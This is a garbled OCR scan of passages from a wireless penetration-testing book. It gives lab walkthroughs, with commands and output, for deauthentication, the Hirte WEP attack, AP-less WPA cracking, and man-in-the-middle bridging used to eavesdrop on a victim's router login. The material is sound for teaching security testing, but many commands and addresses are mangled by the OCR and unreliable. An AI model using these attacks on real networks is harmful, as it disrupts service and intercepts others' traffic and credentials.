2800 17, PSSea700 Te LinkT_&2:le:Be OO:a0:bd:ba: aide ao2.11 289 Probu Besponse, Su=360, PHoo, Plage=........, B1=160, S8itewirelers Lab 
202 17. 725655001 Ta-LinkT_@2: le:Be DO:ee: bd: bar62:de B02.11 260 Probe Response, SHESTO, PHSd, Flags=........, BTS100, SSiDewireless Lab 
2504 17. 76051100 OO: ee bdiba.62ide Broadcast 02,11 130 Probe Request, SNegSa4, Feed, Flages....:.08, S5lOeGroadcast 
22065 17. 76525400 To-LankT G2: le: Be OO} bd} bos heride aoa. 11 29 Probe Response, Shadi, Feo, Flagss.......-, Bl=loo, Sstbewireless Lah 
2308 17. TESTS 2O Ooi ee bdibs: sete Broadcast a2, 11 130 Probe Bequest, SteS836, Pemo, Plage=......... S810=Groadcast 
20S 17. FeSO Te-LinkT @2:le:Be O00: ae: bd:b3: 62: de a2. 11 289 Probe Paespowde, SNe3T3. POD, Plage=........, B0s100, S8ih-wireless Lab 


















5. Wehave now seen that, even in the presence of WEP encryption, it is possible to 
deauthenticate a client and disconnect it. The same is valid even in the presence 
of WPA/WPA2. Let's now set our access point to WPA encryption and verify it: 


TP-LINK’ 


Status 


Quick Setup Wireless Security 


WPS 
Disable Security 
Wireless 


-Wireless Settings 
e WPA/WPA2 - Personal(Recommended) 


- Wireless MAC Filtering Version: WP A-PSK 


- Wireless Advanced Encryption: AES 

- Wireless Statistics Wireless Password: ——_abcdefgh 

DHCP (You can enter ASCII characters between 8 and 63 or Hexadecimal characters between 8 and 64.) 
Forwarding Group Key Update Period: 0 Seconds 


Security (Keep it default if you are not sure, minimum is 30, 0 means no update) 
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6. Let's connect our client to the access point and ensure that it is connected: 


][ Elapsed: 10 mins ][ 2014-11-08 16:51 


PWR Beacons #Data, #/s MB ENC CIPHER AUTH ESSID 


-59 Elekle) 330 54e. WPA2 CCMP PSK Wireless Lab 

he) 264 282 54e WPA2 CCMP PSK everythingwillprobablynotb 
-85 238 84 54e WPA TKIP PSK Upstairs 

-102 97 Q 6 54 WPA2 CCMP PSK Downstairs 

-101 3 54e OPN BTWiFi-with-FON 

ae acle) 7 11 54e WPA2 CCMP PSK BTHub3-R9Q5 


STATION | é Lost Frames Probe 


(not associated) 80:1F:02:8F:34: aC) 

(Galehamr-|-\-lelen mpm lop) 60:03:08:9D:18: ll \everythingwillLprobabl ybeokay 
E8:94:F6:62:1E:8E -OF:6E:/70:BD: é 261 Wireless Lab 

E8:94:F6:62:1E:8E ond ot =| Dd Fo I o Pa é 256 Etisalat-WiFi,iJumeirah,Wireless 
9C:D3:6D:2A:/7B:CO °18:8B:08:47: a) Q 44 

9C:D3:6D:2A:/7B:CO 16; 7A 54534567 e- le 171 Wireless Lab 

00:22:B0:62:6D:08 -F6:DC:D4:61: e-18e 72 





7. Let's now run aireplay-ng to disconnect the client from the access point: 





root@kali: ~ root@kali: ~ root@kali: ~ 
:~# aireplay-ng --deauth 0 -a E8:94:F6:62:1E:8E --ignore-negative-one mond 
16:19:04 Waiting for beacon frame (BSSID: E8:94:F6:62:1E:8E) on channel -1l 


NB: this attack is more effective when targeting 
a connected wireless client (-c <client's mac>). 
16:19:06 Sending DeAuth to broadcast -- BSSID: [E8:94:F6:62:1E:8E] 





What just happened? 


We just learnt how to disconnect a wireless client selectively from an access point using 
deauthentication frames even in the presence of encryption schemas such as WEP/WPA/ 
WPA2. This was done by sending a deauthentication packet to just the access point—client 
pair, instead of sending a broadcast deauthentication to the entire network. 





Have a go hero — disassociation attack on the client 


In the previous exercise, we used a deauthentication attack to break the connection. Try 
using a disassociation packet to break the established connection between a client and an 
access point. 


The Hirte attack 


We've already seen how to conduct the Caffe Latte attack. The Hirte attack extends the Caffe 
Latte attack using fragmentation techniques and allows almost any packet to be used. 


[1301 


Chapter 6 


More information on the Hirte attack is available on the Aircrack-ng website at http: // 


www.aircrack-ng.org/doku.php?id=hirte. 


We will now use aircrack-ng to conduct a Hirte attack on the same client. 


Time for action — cracking WEP with the Hirte attack 


Follow these instructions to get started: 





1. Create a WEP access point exactly as in the Caffe Latte attack using the airbase-ng 
tool. The only additional option is the -N option instead of the -L option to launch 


the Hirte attack: 





 root@kali: ~ | root@ka 


root@kali: ~ 
'~# alrbase-ng -c 3 -@ E6:94:Fe:62:1E:8E -e "Wireless Lab" -L -W 1 mont 





2. Start airodump-ng in a separate window to capture packets for the Wireless 
Lab Honeypot: 


-~# alrodump-ng -c 3 --bssid 80:1F:02:8F:34:D5 --write Hirte mong 





3. Now, airodump-ng will start monitoring this network and storing the packets in 
the Hirte-01.cap file: 


3 ][ Elapsed: @ s J[ 2014-11-08 16:54 J][ fixed channel monG: -1 


BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH E 


BO:1F:02:8F:34:D5 Q 1o0 32 E : 3 45e WEP WEP W 


STATION PWR Rate Lost Frames Probe 


BSSID 
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4, Once the roaming client connects to our Honeypot AP, the Hirte attack is 
automatically launched by airbase-ng: 


i~# airbase-ng -c 3 -@ "Wireless Lab" -W 1 -N mong 
l6:52:¢ Created tap interface att 
16:52 :¢ Trying to set MTU on at@ to 1506 
16:52 7¢ Access Point with BSSID 8@:1F:02:8F:34:D5 started. 


Error: Got channel -l, ex a value = @. 


53:31 Client G@GO:EE:BD:B3:62:DE associated (WEP) to ESSID: "Wireless Lab" 
"55:03 Client GGO:EE:BD:B3:62:DE associated (WEP) to ESSID: "Wireless Lab" 
Starting Hirte attack against O@:EE:BD:63:62:DE at 100 pps. 





5. Westart aircrack-ng as in the case of the Caffe Latte attack and eventually, 
the key will be cracked. 


What just happened? 


We launched the Hirte attack against a WEP client that was isolated and away from the 
authorized network. We cracked the key exactly the same way as in the Caffe Latte attack case. 





Have a go hero — practise, practise, practise 


We recommend setting different WEP keys on the client and trying this exercise a couple of 
times to gain confidence. You may notice many times that you may have to reconnect the 
client to get it to work. 


In Chapter 4, we saw how to crack WPA/WPA2 PSK using aircrack-ng. The basic idea was 
to capture a four-way WPA handshake and then launch a dictionary attack. 


The million dollar question is: Would it be possible to crack WPA-Personal with just the 
client? No access point! 


Let's revisit the WPA cracking exercise to jog our memory: 
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Supplicant Pw | | 
, Authenticator 
v Probe Request Response Ye 
= SS SSA SSS SS SS SS SSS SSS SS s = 
| Authentication RR, Association RR 
| Pre-Shared 

















Key 256 bit 


= 
aa = 
— = 
aa == 
= 
- 
a= = 
== 


= 
=e 
= 
a 
= 
eT ed 


== 
=a = = 
== 


Snounce 


SSS a ee ee ee eS eee 
= 
== 
ae 
= 
-_ 
na 


= 


Key Installed 





To crack WPA, we need the following four parameters from the four-way handshake— 
Authenticator Nounce, Supplicant Nounce, Authenticator MAC, and Supplicant MAC. Now, 

the interesting thing is that we do not need all of the four packets in the handshake to extract 
this information. We can get this information with four packets; packets 1 and 2 or just packets 
2 and 3. 


In order to crack WPA-PSK, we will bring up a WPA-PSK Honeypot and, when the client 
connects to us, only Message 1 and Message 2 will come through. As we do not know the 
passphrase, we cannot send Message 3. However, Message 1 and Message 2 contain all 
the information required to begin the key cracking process: 





4 \Way Handshake 


SNonce 
ANonce 


AP MAC 
Client MAC 





| Pre-Shared Key 256 bit 


PBKDF2 (SSID) 








PTK 


Passphrase (8-63), 














Verify by Checking the MIC 
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Time for action — AP-less WPA cracking 


1. Wewill set up a WPA-PSK Honeypot with the ESSID Wireless Lab. The -z 2 option 
creates a WPA-PSK access point, which uses TKIP: 





i~“# alrbase-ng -c 3 -e ‘Wireless Lab’ -W 1 -z 2 mon0 
16:56:44 Created tap interface att 
16:56:44 Trying to set MTU on at® to 1506 
16:56:44 Access Point with BSSID 8@:1F:02:8F:34:05 started. 
Error: Got channel -l, expected a value > 0. 





2. Let's also start airodump-ng to capture packets from this network: 





i~# alrodump-ng -c 3 --bssid 80:1F:02:8F:34:D5 --write AP-Less-WPA-cracking mon@ 





3. Nowwhen our roaming client connects to this access point, it starts the handshake 
but fails to complete it after Message 2, as discussed previously; however, the data 
required to crack the handshake has been captured. 


4, WWerunthe airodump-ng capture file through aircrack-ng with the same 
dictionary file as before; eventually, the passphrase is cracked as before. 


What just happened? 

We were able to crack the WPA key with just the client. This was possible because, even with 
just the first two packets, we have all the information required to launch a dictionary attack 
on the handshake. 





We recommend setting different WEP keys on the client and trying this exercise a couple of 
times to gain confidence. You may notice many times that you have to reconnect the client 
to get it to work. 


Pop quiz — attacking the client 


Q1. What encryption key can the Caffe Latte attack recover? 





1. None 
2. WEP 
3. WPA 
4. WPA2 
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Q2. What would a Honeypot access point typically use? 


1. No Encryption, Open Authentication 

2. No Encryption, Shared Authentication 
3. WEP Encryption, Open Authentication 
4 


None of the above 
Q3. Which one of the following is a DoS Attack? 


1. Mis-Association attacks 
2. Deauthentication attacks 
3. Disassociation attacks 

4. Both2 and 3 


Q4. What does the Caffe Latte attack require? 


1. That the wireless client be in radio range of the access point 
2. That the client contains a cached and stored WEP key 

3. WEP encryption with at least 128 bit encryption 

4. Both1and3 


Summary 


In this chapter, we learned that even the wireless client is susceptible to attacks. These 
include the Honeypot and other Mis-Association attacks; Caffe Latte attack to retrieve the 
key from the wireless client; deauthentication and disassociation attacks causing a Denial 
of service, Hirte attack as an alternative to retrieve the WEP key from a roaming client; 
and, finally, cracking the WPA-Personal passphrase with just the client. 


In the next chapter, we will use what we've learned so far to conduct various advanced 
wireless attacks on both the client and infrastructure side. So, quickly flip the page to the 
next chapter! 
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Advanced WLAN Attacks 


"To know your enemy, you must become your enemy." 


Sun Tzu, Art of War 


As a penetration tester, it is important to know the advanced attacks a hacker 
can do, even if you might not check or demonstrate them during a penetration 
test. This chapter is dedicated to showing how a hacker can conduct advanced 
attacks using wireless access as the starting point. 


In this chapter, we will take a look at how we can conduct advanced attacks using what 

we have learned so far. We will primarily focus on the man-in-the-middle attack (MITM), 
which requires a certain amount of skill and practice to conduct successfully. Once we have 
done this, we will use this MITM attack as a base from which to conduct more sophisticated 
attacks such as Eavesdropping and session hijacking. 


In this chapter, we will cover the following topics: 


@ MITM attack 
@ Wireless Eavesdropping using MITM 
@ Session hijacking using MITM 
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MITM attacks are probably one of the most potent attacks on a WLAN system. There 

are different configurations that can be used to conduct the attack. We will use the most 
common one—the attacker is connected to the Internet using a wired LAN and is creating 

a fake access point on his client card. This access point broadcasts an SSID similar to a local 
hotspot in the vicinity. A user may accidently get connected to this fake access point (or can 
be forced to via the higher signal strength theory we discussed in the previous chapters) 
and may continue to believe that he is connected to the legitimate access point. 


The attacker can now transparently forward all the user's traffic over the Internet using 
the bridge he has created between the wired and wireless interfaces. 


In the following lab exercise, we will simulate this attack. 


Time for action — man-in-the-middle attack 





Follow these instructions to get started: 


1. Tocreate the man-in-the-middle attack setup, we will first create a soft access 
point called mitm on the hacker laptop using airbase-ng. We run the following 
command: 


airbase-ng --essid mitm -c 11 mono 


The output of the command is as follows: 


-~# alrbase-ng --essid mitm -c ll mon 
11:46:59 Created tap interface at@ 


11:46:59 Trying to set MIU on at® to 1500 
11:48:59 Access Point with BSSID 8O6:1F:027:8F:34:D5 started. 





2. tis important to note that airbase-ng, when run, creates an interface ato (a tap 
interface). Think of this as the wired-side interface of our software-based access 
point mitm: 


-~# ifconfig atd 

Link encap:Ethernet HWaddr 80:17T:02:8f:34:d5 
BROADCAST MULTICAST MTU:1500 Metric:l 

RX packets:@ errors:@ dropped:@ overruns:@ frame:0 


TX packets:@ errors:0 dropped:@ overruns:@ carrier:@ 
collisions:8 txqueuelen:500 
RX bytes:0 (0.0 B) IX bytes:0 (0.0 B) 
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Let's now create a bridge on the hacker's laptop, consisting of the wired (etho) and 
wireless interface (at0). The succession of commands used for this is as follows: 
QO bretl addbr mitm-bridge 
QO bretl addif mitm-bridge etho 
QO bretl addif mitm-bridge ato 
QO ifconfig etho 0.0.0.0 up 


W atconrig ato 0.0.0.0 up 


‘~# ifconfig at@ 

Link encap:Ethernet HwWaddr 80:1fT:02:8fT:34:d5 
BROADCAST MULTICAST MTU:1500 Metric:1 

RX packets:@ errors:@ dropped:0 overruns:@ frame:0 
TX packets:@ errors:0 dropped:@ overruns:@ carrier:@ 
collisions:@ txqueuelen:500 

RX bytes:0 (60.0 B) TX bytes:@ (@.08 B) 


r-# bretl addbr mitm-bridge 

i~# 

r~-# bretl addif mitm-bridge etho 
i~# 

-~# bretl addif mitm-bridge at@ 
i~# 

i~# ifconfig eth® 6.0.0.0 up 

i~# 

'~# ifconfig at® @.6.0.0 up 

-~# [ 





We can assign an IP address to this bridge and check the connectivity with the 
gateway. Please note that we can do this using DHCP as well. We can assign 
an IP address to the bridge interface with the following command: 


ifconfig mitm-bridge 192.168.0.199 up 


We can then try pinging the gateway 192.168.0.1 to ensure that we are 
connected to the rest of the network. 


Let's now turn on IP forwarding in the kernel, so that routing and packet 
forwarding can happen correctly, using the following command: 


echo 1 > /proc/sys/net/ipv4/ip forward 


The output of the command is as follows: 
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6. Nowlet's connect a wireless client to our access point mitm. It will automatically 
get an IP address over DHCP (the server running on the wired-side gateway). The 
client machine in this case receives the IP address 192.168.0.197. We can ping 
the wired-side gateway 192.168.0.1 to verify connectivity: 


C:\Users\vivek\AppData\Local\msf32>ipconf ig 
Windows IP Configuration 


Wireless LAN adapter Wireless Network Connection: 


Connection—-specific DAS : 

Link-local IPv6é Address a . = FeBA: 693d i fad? 214242 c819%11 
IPut Address... . ee . = 192.168.6.197 

Subnet Mask . .. . nt ee » 2 2559.255.255.68 

Default Gateway . . aoe . = 192.168.86.1 


Co \Userss\vivek .AappData’sLocals\msf32>ping 1972.168.6.1 


Pinging 192.168.80.1 with 32 bytes of data: 
192.168.868.141: bytes=32 time=lims TTL=64 
192.168.868.112: bhytes=32 time-bms TTL=64 

Reply from 192.168.8.1: bytes=32 time=18ms TTL=64 

Reply from 192.168.80.1: bytes=32 time=5ms TTL=64 


Ping statistics for 192.168.6.1: 

Packets: Sent = 4, Received = 4, Lost = 0 CHx loss}, 
Approximate round trip times in milli-seconds =: 

Minimum = Sms, Maximum = 18ms, Average = iffms 





8. Wecanalso verify that the client is connected by looking at the airbase-ng 
terminal on the hacker's machine: 


i~# airbase-ng --essid mitm -c ll mong 
12:04:42 Created tap interface at@ 
12:04:42 Trying to set MIU on at® to 1500 


12:04:42 Access Point with BSSID 8@:1F:02:6F:34:D5 started. 
Error: Got channel -1l, expected a value = 0. 
12:64:49 Client 20:10:7A:45:36:61 associated (unencrypted) to ESSID: “mitm" 





9. \t is interesting to note here that, because all the traffic is being relayed from the 
wireless interface to the wired-side, we have full control over the traffic. We can 
verify this by starting Wireshark and sniffing on the ato interface: 
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ato - Wireshark 


File Edit View Go Capture Analyze Statistics Telephony Tools Help 


Seas e cnoxe= OOS CO Ed €5kh SMP 


Filter: | [=| Expression... Clear Apply 











No, Source Destination Protoco 


128 49.169142 IntelCor_35:fc:44 Broadcast ARP Who has 192.168.0.1?7 Tell 192.168.0.197 
129 49.170017 D-Link_d2:8e:25 IntelCor_35:fc:44 ARP 192.168.0.1 1s at 00:21:91:d2:8e:25 





> Frame 1: 60 bytes on wire (480 bits), 60 bytes captured (480 bits) — 
> Ethernet II, Src: Apple _44:99:4d (10:9a:dd:44:99:4d), Dst: Broadcast (ff:ff:ff:ff:ff:ff) 
>b Address Resolution Protocol (request) 





10. Let's now ping the gateway 192.168.0.1 from the client machine. We can see the 
packets in Wireshark (apply a display filter for ICMP), even though the packets are 
not destined for us. This is the power of man-in-the-middle attacks: 


ata - Wireshark 
File Gdit View Go Capture Analyze Statistics Telephony Jools fielp 
Beeage@e -uxeo=- OOS GE MBean BMPs 
Filter: icmp : — 1B Expression... Clear Aypghy 
Mo. | Time | Source . | Destination | Protoco | Info 
10.000000 IntelCor_35:ferda Broadcast ARP who has 197.168.0.17 Tell 192. 168.0.197 
20.000773) = D-Link_d2:8e:25 IntelCor_35: fc: 44 ane 192.168.0.1 13 at 00:21:91:d2:Be:25 
2 0.06001 Lod. 160.0. 107 Loa. 168.0. 1 Tose Echo (ping) request {ide0x0001, seq(be/lel=09/21240, ttl=l120) 
40,006; Le? 1680.1 lez. lod. 0. Ley i CHF Behe iping reply ladei.0001, seq(be/;la)eaba/glite, ttlot) 
S$ 1.001865 192. 168.0. 197 192. 168.0. ToMP = Echo (ping) request (idstu0001, seq(be/le)=aa/21504, ttl=128) 
61.002774 192.188.0.1 192. 168.0. 197 ICH = so Echo (ping) reply {ad=020001, seq(be/le)=84/21504, ttl=64) 
7 2.010760 192.168.0. 197 192. 168.0.1 TioMP Echo (ping) request (id=Qw0001. seq(be/lel=65/21760, ttl=126) 
& 2.015576 Lea. 169.0, 1 Lea. 16a. o. Lee TOME Echo (ping) reply {adeQx0001, seqibe/le)e85/21766, ttl=é4) 
9 3.000574 Dea. 18.0. iy Dae. 1Gg.0. 1 Ton Echo (ping) request fideoOwooo], seq(be/le)=a6s22016, ttl=123) 
16 3. 004563 192. 168.0.1 192. 168.0, 107 TORE Echo (ping) reply (id=020001, seq(be/le)=86/22016, ttl=84) 
. Pram: dt 7s bytes on wire (S47 bits), Ta bytes captured (S92 bits) 
f Ethernet Il, Src: D-Link _d2:Be:25 (00:21:91:d2:8e:25), Det: Intelcor_35:f¢:44 (00:z2:fb:35:f¢:44) 
(+ Internat Pretecol, Sre: 192.168.0.1 (192.168.0.1), Ost: 192.168.060.107 (192. 168.0.197) 
[= Internet Control Message Protece] 
Type: © (@cho {pang} reply) 
Code: 6 
Checksum: 065509 [correct] 
Tdentitier: Oxoog) 
Sequence mumber: 8a (cecesS) 
Sequence number (LE): 21248 (025200) 
* Data (32 bytes) 
Data: 61626 S46S6eG 7; GreiiathGcGdGett TOT lTarararsrar7ol... 
[Langth: a] 








[Frame (frame). 74 bytes || Profle: Default 
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What just happened? 


We successfully created the setup for a wireless Man-in-the-Middle attack. We did this by 
creating a fake access point and bridging it with our Ethernet interface. This ensured that 
any wireless client connecting to the fake access point will perceive that it is connected 
to the Internet via the wired LAN. 





In the previous exercise, we bridged the wireless interface with a wired one. As we noted 
earlier, this is one of the possible connection architectures for an MITM. There are other 
combinations possible as well. An interesting one would be to have two wireless interfaces, 
one that creates the fake access point and the other interface that is connected to the 
authorized access point. Both these interfaces are bridged. So, when a wireless client 
connects to our fake access point, it gets connected to the authorized access point 

through the attacker's machine. 


Please note that this configuration would require the use of two wireless cards on the 
attacker's laptop. 


Check whether you can conduct this attack using the in-built card on your laptop along 
with the external one—bear in mind, you may not have the injection drives required for 
this activity. This should be a good challenge! 


Wireless Eavesdropping using MITM 


In the previous lab, we learned how to create a setup for MITM. Now, we will take a look 
at how to do Wireless Eavesdropping with this setup. 


The whole lab revolves around the principle that all the victim's traffic is now routed through 
the attacker's computer. Thus, the attacker can eavesdrop on all the traffic sent to and from 
the victim's machine wirelessly. 


Time for action — Wireless Eavesdropping 


Follow these instructions to get started: 





1. Replicate the entire setup as in the previous lab. Fire up Wireshark. Interestingly, 
even the MITM-bridge shows up. This interface would allow us to peer into the 
bridge traffic, if we wanted to: 
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Wireshark: Capture Interaces 
Device Desorption Packers Packetars 
EP erho Start.) Qptions | 
& wlan Start | Gutions | 
* mond i Start |) Options | 
ePlard L start Dptions 
EF imitm-brdge LO2.160.0.58 15 Start | Options | 
ary Peeude-device that captures on all meefaces ! Start Options 
Busbmont Ue bus number 1 Start Gaplions | 
bP ibs Start | Gntions ‘het Website 
Visit the projects website 


Help | close | 


;, User's Guide 
eth - The lgers Guide laniee wersian 
whard 


siidairh w Sample Captures wi Security 


E 

Ct 

= 

ce) ato a Ach aoeremant of eearmele ¢aphore filet on the wiki Work WER Wireshark a5 securely 44 Benes 
i) mtm-bndge 
a 

a 
ib 


Poeudo-davice that captures on all intertaces 
LiS6 bus number 1 
Ica 


tial Capture Options 


Stet a capture weh detailed aphiens 


Capture Help 


ig How to Capture 


Taha bey tép Bo A suit tecetul (gture dats 


=~» Network Media 


Spachs infarmation fer capheing ee DBvere: WLAN 


Pl) Ready fo load or capture Me Packars Brodie: Deehault 





2. Start sniffing on the ato interface so that we can monitor all traffic sent and 
received by the wireless client: 


is Capturing from ato - Wireshark 
[Meru] Edit View Go Capture Analyze gtatistics ‘Telephony Jools Help 


BReeaOieemx e@= &O2e@R8 vu Ele + 
Alter: | |= Pxpreision.. Chia Apply 


Na. Sigurt a Destination Proteco | Info 
1 0, O20000 IntelCur 35:feraa Braadcan'! Who has 197,168,0.17 Tell 163,188,0. 197 
D-Link_d2:Ge:25 Inteltor_35:fcida 192,168.0.1 19 at 00:21:91 :d2:8e;25 
102. 166.0. 197 192. 166.0.1 Echo (ping) request {aide0x0001, saq(ba/lel=115/20440, ttl=120) 
lez. 169.0. 1 192. 160.0, 1s? ‘ Echo (ping) reply fidetxoo01, seqibe/le)=l15z9440, ttleada) 


? 1.00]344 132. 168.0. 197 192. 168.0.1 ’ Echo (ping) request (id=0n0001, seq(be/le)=1i6/20606, ttl=128) 
@1.002166 197.168.0.1 192. 168.0. 187 Echo (ping) reply lideQx0001, seqlbe/lel=116/2e686, ttledd) 
97.007755 199. 168.0.157 182_168.0.1 cm Echo (ping) request fidetwonol, seqibe/le)=al17/7e052, ttlelz) 
1027.003421 197.148.0.1 192. 168.0. 197 ) Echo (ping) reply fid=teGnd1, seqibe/le)=117/25552, ttl=84) 
11 3.001149 192.168.0.197 192.168.0.1 cr Echo (ping) request (ad=0x0001, seqibe/le)=11e/30208, ttl=128) 
12 3.000103 1062.160.0.1 162. 168.0. 107 Echo (ping) reply fid=Ox0001, seq(be/le)=11a/a0200, ttl=-4) 


' Frame 1: GO bytes on wire (480 bits), GO bytes captured (460 bits! 
b Ethernet Il, Sre: Intelcor_s5:fe:a4 (00:72: fb:a5:fe:44), Det: Broadcast (ff:ff: ft: ft: ff: ft) 
b Address Resolution Protocol (request) 


qisoqtt ff tt tt tf wa fb 3 fe aa oe 6 OO 1 
08 00 08 64 00 61 0 32 fh 33 te 44 co a8 OO cS 
Mee eo eh ot BR wa we we we oe 
OD OO OO OD G0 OO OO 00 OO OO OO OO 


©) at0: <live capture in progress> File... || Packets: 14 Displayed: 14 Marked: 0. || Profile: Default 
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3. Onthe wireless client, open up any web page. In my case, the wireless access 
point is also connected to LAN and | will open it up by using the address 
http://192.168.0.1: 


Authentication Required 


The server http://192.168.1.1:60 requires a username and 
password. The server says: TP-LINK Wireless NW Router 
WRE41N. 


User Name: 


Password: 





4. Signin with your password and enter the management interface. 


5. In Wireshark, we should be seeing a lot of activity: 


f ato = Wireshark 
fle Edit Yiew Go fapture Analyze Statistics Telephony Jools Help 


HBeeea eux e = 
| = | Exprossion... Elear Apply 
Protaco | info 


jb Frame 1: 60 bytes on wire (400 bits), 60 bytes captured (tao bite) 
b Ethornot II, Src: IntelCor_39:fc:44 (00:22: fbi38if¢:44), Ost: Broadcast (ff: ffi Ff fF FFs fF) 
b Address Resolution Protocol {request} 


Oooo off ff tt tf ff ff oo 22 fh 36 fe 44 Gb O6 GO O1 
no 08 90 65 o4 099 01 oo oe fh 35 fe 48 ¢o 48 0 65 
ao MM MM Moe MO Oe Oo oe 
oa OO OO Gb Go Od OO oo oo Go Oo Oo oo 


(| Ale: “limnpiwiresharkxaxxewitaM 1... || Packets: 290 0 gpa d: 290 Marked: 0 Groppe 1a Profile: Oefauh 
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6. Seta filter for http to see only the web traffic: 


‘fle Edit view Go Capture nahze statistics Telephony Jools Lelp oo 
"ee Ce eARO@s Sooeseodo BIR @=nA EUMPX © 
: bite [= | Expression. Clear Apply 
‘Protoce | info 





b Frame 150: 507 bytes on wire (4056 bits), 507 bytes captured (4056 bits) 

bP Ethernet Il, sre: Inteltor_s6:fe:44 (Oo:2a: fb: o5:fe:44), Det: D-Link_d2:Be:25 (00:21:91: d2:G6:25) 

b Internet Protecol, Src: 192.168.0.197 (192.168.0.197), Get: 192.168.0.1 (192. 168.0.1) 

> Transmssion Control Protocol, Src Port: 49468 (40468), Det Port: http (80), Seq: 415, Ack: B40, Len: 453 


Hosts 150. 168.0. 14ryn 

User-Agent: Mozilla/S.0 (Windows: U; Windows MT 6.0; en-US: rvil.9.2.15) Gecko/20110303 Firefox/3.6.15 (.MET CLR 3.5. 30729) \rin 
Aecept: image/png, image/*:980.6,*/*: gs. 5)r\n 

Accept-Language: @n-us,enjqed.5\r\n 

accept-Enceding: gzip,deflateyrin 

Accept-Charset: IS0-8859-1,utf-8:q=0.7,®;q=0. 7\r\n 

Keep-Alnve: 115\rin 

Connection: keep-alive\rin 











obec eM” SD oe 
a ee 
ase3eP.D 4st? BP. 
B]]}..GE T /Tmage 


i{ Fle: *AmphmresharkocooiwhaM” 1... 1! Packets: 290 Displayed: 39 Marked: 0 Dropped: 0 
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7. \Necan easily locate the HTTP post request that was used to send the password to 
the wireless access point: 


Ato = Wines hark 


Menu) edit View Go Capture Analyze Statistics Telephony Jools Help 


Sma e g-nxo=ap LOOsGe HB est @Mor 


| Vesmeeset earns 


LL. i Expression... Clear Apply 
| | “Protaes inte 


b Frame 208: 502 bytes on wire (4016 bits), 502 bytes captured (4016 bits) 

b Ethernet IT, Sre: Inteleor SS:fe:aa (00:22: fbiSo:fei44), Oat: O-Link doise:sS (G0:21:91id2i8e:25) 

P Internet Protocol, Sre: 192.168.0.197 (192.168.0.197), Det: 192.168.0.1 (192.168.0.1) 

b Transmission Control Protocol, Src Port: agar (49a72), Dat Port: http (80), Seq: SiG, Ack: e904, Len; 4e6 


> [Expert Info (chat/Sequence): GET /post_Login. xml ?hash=ade7eat Sca7acoozsas0edSce7Gceb2oaabal7d5 HITP/1.1\r\n) 
Request Method: GET 
Request UA: poset EL. ML ube Pee Sen abe el a ie ae ell) Pd 
Request Version: HITPy1.1 
Host: 192. 168.0.1\r\n 
Liser- Agent: Mozilla/S.0 (windows; U; Windows NT 6.0) @n-US} rvi1.9.2.15) Geckes20110903 Firefow/3.6,15 (.NET OLA 3,5, 30729) (rn 
decept: text/html applicatian/shtmlexml, applications smi: qs0. 9,49: 90, orn 
ACcopt- Language: én-us,6n;q=0.S)r4\n 
Accept-Encoding: gzip,deflateyrin 
Accept: Charset: 150-6859. 1,ut?- 9) q=0.7,")q80. 7\ryn 
Keep-alive: 1154r\n 
Connection: keep-aliveyryn 
rin 
ogo 44) ob eo do OD OO 47 45 Sa 20 


| Profile: Default 


* Frame 208: 502 bytes on wire (4016 bits), 502 bytes captured (4016 bits) 

> Ethernet II, Src: IntelCor_35:fc:44 (OO: 2e:fb:35:f¢c:44), Ost: D-Link_d2:8e:25 (00:21:91:d2:Be:25) 

® Internet Protocol, Src: 192.168.0.197 (192.168,0.197), Dst: 192,168,.0.1 (192. 168.0.1) 

> Transmission Control Protocol, Src Port: 49472 (49472), Dst Port: http (80), Seq: 396, Ack: 18904, Len: 4a8 


> [Expert Info (Chat/Sequence): p97S5es08dSce76ceb2634b417d5 HITP/1.1\r\n] 
Raguest Method: GET 


Request Version: HITP/1.1 
Host: 192. 168.0. 14\r\n 
User-Agent: Mozilla/S.0 (windows; U; Windows NT 6.0; en-US; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 (.NET CLR 
Accept: text/html, application/xhtml+xmL, application/=ml;q=0.9,*/*;q=0. 8\r\n 
Accept-Language: en-us,enjq=0.5\r\n 
Accept-Encoding: gzip,deflate yrin 
Accept-Charset: IS0-8959-1,utf-S;q=0.7,*:q=s0.7\r\n 
Keep-Alive: lIS\r\n 
Connection: keep-alive\rin 


eo do 00 00 47 45 54 20 Fy 


67 60 Ge Se Fa Bd oF 





Chapter 7 


9. Expanding on the HTTP header, allows us to see that actually the password we entered 
in plain text was not sent as is; instead, a hash has been sent. If we take a look at the 
packet, labeled as number 64 in a screenshot on the previous page, we can see that a 
request was made for /md5 .js, which makes us suspect that it isamd5 hash of the 
password. It is interesting to note here that this technique may be prone to a replay 
attack if a cryptographic salt is not used on a per session basis in the creation of the 
hash. We leave it as an exercise for the user to find out the details, as this is not part 
of wireless security and hence beyond the scope of this book: 


Fe nen On Gn ea 
v Hypertext Transfer Protocol 


v GET /post_Login.xml?hash=94e7e8f 5c474c69258308d9ce76ceb2634b417d5 HITP/1.1\r\n _ 


b [Expert Info (Chat/Sequence): GET /post_Login.xml?hash=94e7e8f 5c474c69258308d9ce76ceb2634b417d5 HITP/1.1\r\n] 


Request Method: GET 
Request URI: /post_login.xml?hash=94e7e8f 5c474c69258308d9ce76ceb2634b417d5 
Request Version: HTTP/1.1 





10. This shows how easy it is to monitor and eavesdrop on traffic sent by the client 
during a man-in-the-middle attack. 


What just happened? 


The MITM setup we created now allows us to eavesdrop on the victim's wireless traffic 
without the victim knowing. This is possible because, in an MITM, all the traffic is relayed 
via the attacker's machine. Thus, all of the victim's unencrypted traffic is available for 
eavesdropping for the attacker. 





In today's world, all of us would like to keep what we search for on Google private. 
The traffic on Google search is unfortunately over HTTP and plain text by default. 


Can you think of an intelligent display filter you could use with Wireshark to view all 
Google searches made by the victim? 


One of the other interesting attacks we can build on top of MITM is application session 
hijacking. During an MITM attack, the victim's packets are sent to the attacker. It is now the 
attacker's responsibility to relay this to the legitimate destination and relay the responses 
from the destination to the victim. An interesting thing to note is that, during this process, 
the attacker can modify the data in the packets (if unencrypted and unprotected from 
tampering). This means he can modify, mangle, and even silently drop packets. 


In this next example, we will take a look at DNS hijacking over wireless using the MITM setup. 
Then, using DNS hijacking, we will hijack the browser session to https: //www. google.com. 
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Time for action — session hijacking over wireless 





1. Setup the test exactly as in the man-in-the-middle attack lab. On the victim, let's 
fire up the browser and type in https: //www. google.com. Let's use Wireshark 
to monitor this traffic. Your screen should resemble the following: 


Destination | Protoco | Info 
Broadcast who has 192.168.0.17 Tell 192.168.060.197 
IntelCor_35:fc:44 ARP 192.168.0.1 15 at 00:21:91:d2:Be:25 


